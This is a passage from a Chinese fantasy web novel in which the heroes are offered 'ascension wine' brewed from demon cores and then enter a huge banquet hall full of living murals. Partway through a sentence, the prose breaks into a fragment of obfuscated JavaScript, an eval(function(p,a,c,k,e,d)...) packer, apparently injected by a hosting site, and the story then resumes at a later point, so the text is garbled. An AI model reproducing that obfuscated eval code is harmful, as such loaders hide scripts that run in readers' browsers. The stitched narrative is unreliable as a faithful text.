采乌道:“客人,不要着急,你们现在就在升仙宴上,只是两眼看不见、两耳听不着罢了,喝下这杯中酒,就能身临其境,看见真章了。” 说着,她手中不知何时多出了一个托盘,上面不多不少,正好两个鎏金小杯,盛着两杯酒。 亦如空看一眼那杯中酒,又看向采乌,问道:“你怎知,最后到这里的,只有两个人?” 采乌道:“有几个人迈进了这扇门,应空神心中有数。” 翘枝突然插嘴道:“那我呢,还有我呢,怎么没有我的酒?” 采乌对翘枝笑道:“这酒你可喝不得。” 翘枝不服:“为什么?” 采乌真诚道:“我实话实说,你可别生气,因为——你道行不够,这酒你若是喝上一滴,恐怕马上四脚朝天上了天界,到时候,你的主人会伤心的。” 翘枝纵有不满,也不敢拿命去试,闻言只得沮丧道:“这下好了,席肯定也吃不成了,真要饿死在这里了。” 亦如空安慰他道:“待这里结束,离开海上,我自然带你去吃个够。” 采乌接道:“只是肚子饿了,有什么关系,我们这里一点吃食还是有的,稍后给你拿来便是了。” 翘枝一听,这才高兴起来。 采乌将那托盘往前递了一些,催促道:“二位,请吧,莫要耽误了赴宴的时辰。” 亦如空拿起一只鎏金小杯,里面的酒液浓稠漆黑,看起来不像佳酿,更像是毒药。 他将酒杯放到唇边,忽然闻到一股熟悉的味道。 柳玉京已经大叫起来:“你这酒是什么酒,我就这么一闻,起码闻出好几种妖物的气息!” 亦如空也闻出来,这其中,还有先前那赤虚妖蛇的气味。 采乌微笑道:“二位耳聪目明,我也不瞒着你们,大家赴宴之时献上的妖丹,便是这升仙酒的原料。” “你们拿玄妖妖丹酿酒,还管这酒叫——升仙酒?”柳玉京半边脸纠结抽动,露出个难以言喻的表情。 采乌道:“难不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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靠近门边的最末位还空着,采乌引着他们落座,自己则穿过那些凌乱的席桌,绕过那些忙忙碌碌奔走的小童,朝着远方的大殿主座方向走去。 亦如空的目光跟着她的背影,一直望向大殿高处,那里有一张硕大的石雕宝座,似乎铺着毛皮软毯,看起来是主人的席位,但上面却空空如也,并没有人入座。 采乌走过去,也只是静静立在那宝座的右侧,默然不动。 眼下她已快要小成一个小点,可见这大殿委实大得吓人,长得吓人。 亦如空想起了冥老的话,要靠近这盛宴主人十步以内,眼下目测这距离,少说也在八十步开外。 大殿穹窿高不见顶,两侧的高墙上全是壁画,画着仙山浮岛,祥云仙人,而那些仙人,衣着与他们这些客人一模一样,竟似乎还在画中活动。 有的仙人在云中飞行,有的卧在云上朝下看,有的乘着轿子浮在空中,还有的在云上击鼓拨弦奏乐,亦如空此刻听到的乐声,原来不是有人在大殿席中演奏,而是从这壁画中传来的。 画中的仙人遍布各处,密密麻麻,恐有数千之多。 亦如空心中思量,难不成答叵是用这画骨神笔,画出了一片仙境?正如先前那幅山水画一般…… 正想着,一边的柳玉京突然拍了拍亦如空的手背,亦如空立刻移开右手,没让他拍到第二下。 柳玉京动作一顿,此刻倒也顾不上计较,指了指场中,示意亦如空去看:“这盛宴的主人,好像上场了。”